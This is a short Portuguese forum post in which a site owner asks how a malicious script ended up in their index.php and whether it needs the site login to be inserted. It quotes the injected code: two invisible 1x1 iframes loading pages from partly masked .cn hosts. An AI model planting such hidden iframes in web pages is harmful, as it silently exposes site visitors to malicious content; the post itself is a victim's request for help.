Scrip Malicioso em pagina PHP

Ola pessoal, tudo bem

Sou leigo no assunto, mas gostaria de saber dos amigos, se em uma pagina php index.php, este script de VIRUS:

´<iframe src=´http://huget.......cn/in.cgi?id1000´ width=1 height=1 style=´visibility: hidden´></iframe><iframe src=´http://Educatio.......cn/in.cgi?id1000´ width=1 height=1 style=´visibility: hidden´></iframe>

so pode ser inserido via codigo e a pessoa tem que ter a senha/login da pagina ou pode ser inserida de alguma outra forma dentro da pagina ?

Desde já,muito obrigado.